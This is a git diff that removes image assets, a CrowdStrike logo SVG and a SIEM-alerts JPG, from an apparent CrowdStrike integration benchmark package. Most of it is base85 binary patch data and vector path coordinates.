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
UE4paNI94>T=v^*Wz4`Ee037)twEzGB

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg
deleted file mode 100644
index edf569559f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg viewBox="-.3 3.8 700 475" xmlns="http://www.w3.org/2000/svg"><g fill="#da1b1b"><path d="m59 5.5c0 1.7 12.6 27.2 14.1 28.5.3.3 1.6 2.3 2.9 4.5s3.5 5.1 4.7 6.5c1.3 1.4 2.3 2.8 2.3 3.1s.9 1.7 2.1 3c1.1 1.3 4.4 5.1 7.2 8.4 12.9 15 31.5 32.4 51.2 47.8.6.4 2.1 1.6 3.4 2.7s2.7 2 3 2 1.8 1 3.1 2.2c3.6 3.2 7.2 5.7 26.1 18.3 17.5 11.6 17.8 11.9 24.9 16.1 2.5 1.5 5.1 3.4 5.8 4.1s1.8 1.3 2.3 1.3c.7 0 10.8 5.7 15.9 9 .8.6 2.6 1.6 4 2.2 3.6 1.8 23.6 13.9 29.5 17.9 17 11.4 38.5 30.9 45 40.6 2.7 4.1 4.5 5.4 4.5 3.2 0-1.3-4.1-8.8-5.7-10.7-.7-.7-1.3-1.8-1.3-2.3 0-1.1-6-10.9-7.8-12.8-.7-.8-2.1-2.6-3-4-2.7-4.1-6-7.8-16.2-18.1-12.3-12.2-13.7-13.3-31-26.2-8-5.9-14.9-11.1-15.5-11.6-.5-.4-2.8-1.9-5-3.2s-4.2-2.7-4.5-3-2.3-1.7-4.5-3-8.5-5.3-14-8.9c-11.1-7.3-13-8.5-16.2-10.2-1.3-.7-2.3-1.6-2.3-2.1 0-.4-.5-.8-1-.8-.6 0-3-1.4-5.3-3.1-3.9-2.8-15.9-11.3-20-14.1-1.1-.7-2.8-2.1-3.9-3.1-1.2-.9-2.4-1.7-2.7-1.7s-1.7-1-3.1-2.3c-1.4-1.2-5.3-4.4-8.7-7s-6.8-5.3-7.5-6-3.8-3.2-6.8-5.6c-12.9-10.1-56.9-52.3-61.3-58.8-1.9-2.8-4.7-4.5-4.7-2.8z"/><path d="m152.8 23.6c-.8.8.3 4.4 1.3 4.4.5 0 .9.5.9 1.2 0 1.5 7.2 15.9 8.8 17.6.6.7 1.2 1.7 1.2 2.2 0 1.3 8.6 13.7 12.8 18.4 10 11.2 28.2 28.1 35.2 32.7 1.4.9 3.9 2.9 5.5 4.3 1.7 1.5 4.8 3.9 7 5.4s4.9 3.5 5.9 4.4c1.1 1 3.8 3 6 4.5 2.3 1.6 5 3.6 6 4.5 1.1 1 3.8 3 6 4.5 2.3 1.5 4.3 3 4.6 3.3s3.7 3 7.5 6c3.9 3 7.5 5.9 8.1 6.5.6.5 4.6 4.1 8.9 8 14.6 13.1 25.8 25.3 32.6 35.5 6.6 10 9.2 14.4 15.1 25.8 3.1 6.2 7.7 14.4 10 18.3 2.4 3.9 5.4 8.9 6.7 11.2s3 4.8 3.8 5.5c.7.7 1.3 1.8 1.3 2.3s.5 1.5 1 2.2c.6.7 5.3 7.7 10.6 15.7 16.9 25.6 40.1 46 62.9 55.1 10.8 4.3 33.4 6 63 4.7 20.6-.8 44.2-.2 48.3 1.3 1.3.5 4.2.9 6.5.9 2.3.1 6 .7 8.2 1.5s4.9 1.5 6 1.5 3.3.7 4.9 1.5c1.5.8 3.5 1.5 4.3 1.5 1.6 0 7.1 2.4 19.8 8.6 18.3 9.1 33.1 19.9 48.7 35.6 10.4 10.5 10.8 10.8 11.4 8.2.8-3.1-.2-13.7-1.5-16.1-.5-1-2-4.1-3.3-6.8-2.5-5.6-7.2-12.3-14.2-20.4-2.7-3.3-4.6-6.5-4.6-7.9 0-4.1-3.9-10.5-8.5-13.9-5.8-4.3-23.6-13.3-26.3-13.3-.5 0-2.3-.7-3.8-1.5-1.6-.8-3.7-1.5-4.7-1.5-.9 0-2.5-.4-3.5-.9-.9-.5-5.1-1.9-9.2-3.1-13.7-4.1-22.5-7.2-25.6-9.1-3.3-2-6.4-7.2-6.4-10.7 0-2.6 3.8-14.4 5-15.6.6-.6 1-1.7 1-2.5 0-.9.6-2.8 1.4-4.3.8-1.4 1.9-5.8 2.6-9.7 3.3-19.4-7.2-31.8-41-48.7-4.5-2.2-12.7-5.9-16.5-7.5-1.1-.4-4.1-1.7-6.7-2.8-2.6-1.2-5.4-2.1-6.2-2.1s-1.8-.5-2.1-1c-.3-.6-1.3-1-2.2-1-.8 0-2.9-.6-4.6-1.4-1.8-.8-10.4-3.8-19.2-6.6-8.8-2.9-16.7-5.6-17.6-6-.9-.5-3.4-1.2-5.5-1.6-2.2-.3-4.3-1-4.9-1.4-.5-.4-2.6-1.1-4.5-1.4-1.9-.4-4.4-1.1-5.5-1.6-1.1-.4-4-1.3-6.5-2-2.5-.6-6.3-1.6-8.5-2.1-2.2-.6-4.9-1.5-6-1.9-1.1-.5-3.6-1.2-5.5-1.6-1.9-.3-4.1-1-5-1.4-.8-.4-4.9-1.8-9-3s-8.2-2.5-9-2.9c-.9-.5-3.1-1.2-5-1.6s-3.9-1-4.5-1.4c-.5-.4-4.4-1.8-8.5-3.1-4.1-1.2-7.9-2.6-8.5-3-.5-.4-3.9-1.7-7.5-3s-6.9-2.7-7.4-3.2c-.6-.4-1.6-.8-2.4-.8-2 0-11.4-4.3-35.2-15.9-16.7-8.2-32.1-16.6-35.5-19.3-.5-.4-4.6-3.1-9-6s-8.4-5.6-9-6c-.5-.4-5.2-3.9-10.4-7.8-18.1-13.5-44.4-38.8-55.5-53.5-2.1-2.8-3.9-5.1-4-5.3-.2-.1-.5.1-.8.4zm447.2 303c10.2 3.4 13.5 6 15.9 12.1 2.4 5.9-1.6 7.3-6.5 2.2-1.6-1.7-4.5-4-6.4-5.2s-4.1-2.7-4.8-3.4-1.9-1.3-2.7-1.3c-1.3 0-2.5-2.1-2.5-4.6 0-1.8 1.4-1.8 7 .2zm-519-240c0 1.1 8.5 17.9 10 19.7.6.7 2.7 3.4 4.7 6.2 7.3 9.8 18.7 21.5 33.9 34.5 3.8 3.3 14.2 11.1 17.5 13.2 1.4.9 3.2 2.3 4 3 .8.8 3.2 2.5 5.4 3.8s4.2 2.7 4.5 3c.6.8 30.1 18.3 39.5 23.5 7.4 4.2 15.4 8.2 43.5 21.9 16.5 8.1 19.6 9.7 31.7 17 9.1 5.5 23.7 16.9 31 24.2 4.1 4.1 7.6 7.4 7.8 7.4.3 0-.1-1.1-.7-2.5s-1.5-2.5-2-2.5c-.4 0-.8-.6-.8-1.3 0-.8-.9-2.5-2-3.8s-2.3-2.9-2.7-3.4c-7.3-9.6-13.3-15.4-31.7-31-2.5-2.2-19-13.4-26.7-18.2-6.1-3.9-18.4-10.8-30.9-17.5-3-1.7-5.9-3.4-6.5-3.8-.9-.7-5.2-3-19.5-10.8-9-4.8-31.8-18.9-35.5-21.9-.5-.5-2.8-2-5-3.3s-4.4-2.8-5-3.2c-.5-.4-5.9-4.4-12-8.9-6-4.5-11.2-8.5-11.5-8.8-.3-.4-2.7-2.4-5.5-4.5-5.6-4.2-12.8-10.8-26.2-24-5.1-5-9.3-8.6-9.3-8zm113.6 179.1c-1 1 15.8 16.6 26.9 24.9 5.5 4.1 10.5 7.8 11 8.2 2.6 2 11.6 7.2 12.4 7.2.5 0 1.6.6 2.3 1.2.7.7 2.9 2 4.8 3 13.3 6.3 19 8.8 20.4 8.8.8 0 1.7.4 2 .8.8 1.3 32.3 11.2 35.8 11.2 1 0 2.6.4 3.6 1 .9.5 3.7 1.4 6.2 1.9 8.7 1.9 13.5 3.1 15.5 4 1.1.5 5.4 1.9 9.5 3.2s7.9 2.6 8.5 3.1c.5.4 1.5.8 2.3.8s2.8.6 4.5 1.4c16.4 7.1 20.8 8.8 21.4 8.3.3-.4-.7-1.7-2.3-2.9-2.5-2-6.9-5.9-16.4-14.8-1.5-1.4-4.2-3.8-6-5.4-5-4.3-26-19.9-30.5-22.6-2.2-1.3-4.2-2.7-4.5-3-.3-.4-1.2-1-2-1.4s-4.2-2.2-7.5-4.1c-6.2-3.6-18.9-9.9-26-12.9-2.2-.9-4.7-2.1-5.5-2.5-.9-.5-3-1.2-4.8-1.5-1.7-.4-3.4-1.2-3.7-1.7-.4-.5-1.6-.9-2.8-.9-2.2.1-2.2.1-.2 1.2 1.1.6 2.2 1.4 2.5 1.8.3.3 2.5 1.8 5 3.3 5.3 3.1 15 11.7 15 13.3 0 .6-.7 1.7-1.5 2.4-1.2 1-4.1.9-14.5-.4-7.2-.9-14.1-2.1-15.3-2.6-1.2-.4-4.7-1.6-7.7-2.5-15.6-4.7-47-22.1-56.1-31-.9-.8-1.9-1.2-2.3-.8z"/><path d="m365.5 317.3c18.7 17.2 66.6 66.1 69.6 70.9 1.2 1.8-.2 3.8-2.5 3.8-1.1-.1-3.9-.9-6.1-2s-4.3-1.9-4.7-2c-1.3 0-11.2-6.3-13.8-8.7-3-2.8-4.6-3-2.8-.4 2.9 4.2 17.4 18.5 26.5 26.3 4.1 3.5 15 11 18.7 12.8 6 3 6.6 3.5 6.6 5.4 0 1.7-.5 1.8-5.5 1.2-3-.3-5.5-.3-5.5.2 0 .7 5.9 3.6 13 6.3 5.2 2.1 19.7 1.8 23.8-.4 1.8-1 4.3-1.7 5.4-1.5 2.2.3 2.4.6 5.5 7.3 3.8 8.2 12.6 19.5 15.1 19.5.5 0 1.5.6 2.1 1.4 1.2 1.4 14.9 5.1 15.7 4.3.3-.3-1.6-2.1-4.1-4.1-7-5.3-10.4-10.3-10.5-15.2 0-5.3 2.2-9.6 6.8-13.2 6.7-5.1 10.8-6.5 20.6-6.6 8 0 9.6.2 13.1 2.4 2.2 1.3 4.6 3.1 5.3 4 1.9 2.3 5.2 9.9 5.2 12.1 0 3.4 1.9 2 2.6-1.9 1.4-7.6 1-15.8-.9-18-2.7-3-10-4.9-21.2-5.7-19.1-1.2-28.8-4.4-37.4-12.2-8.9-8-8.5-8.9 4.2-9.5 9-.5 16.7-2.1 23.2-4.8 1.1-.5 4.3-1.9 7-3 2.8-1.2 8.6-3.9 13-6 16.8-8 27.1-10.4 44.3-10.4 12.5 0 15.8-.7 11.2-2.1-1.1-.3-2-1.1-2-1.6s-.4-.9-.9-.9c-.8 0-9.4-5.2-12.7-7.7-1.5-1.2-7.1-4.2-14.9-8-3.8-1.9-7.8-3.9-8.7-4.4-1-.5-2.2-.9-2.7-.9s-2.2-.5-3.8-1.2c-4.1-1.7-10.8-3.6-18.8-5.5-10.2-2.4-48.5-2.3-65.5 0-25.3 3.5-29.7 3.9-41.5 3.4-12.1-.5-16.5-1.3-28.5-4.9-7.3-2.2-8.6-2.7-15.1-5.7-2.5-1.1-4.9-2.1-5.2-2.1-.4 0-3.6-1.8-7.2-4s-6.8-4-7-4c-.5 0-8.9-5.7-14.1-9.7-6.8-5.1-4.3-1.7 5.1 7z"/></g></svg>
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg
deleted file mode 100644
index b74edfe2293f9339b63095c38f58f7692d52fdef..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 399141
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
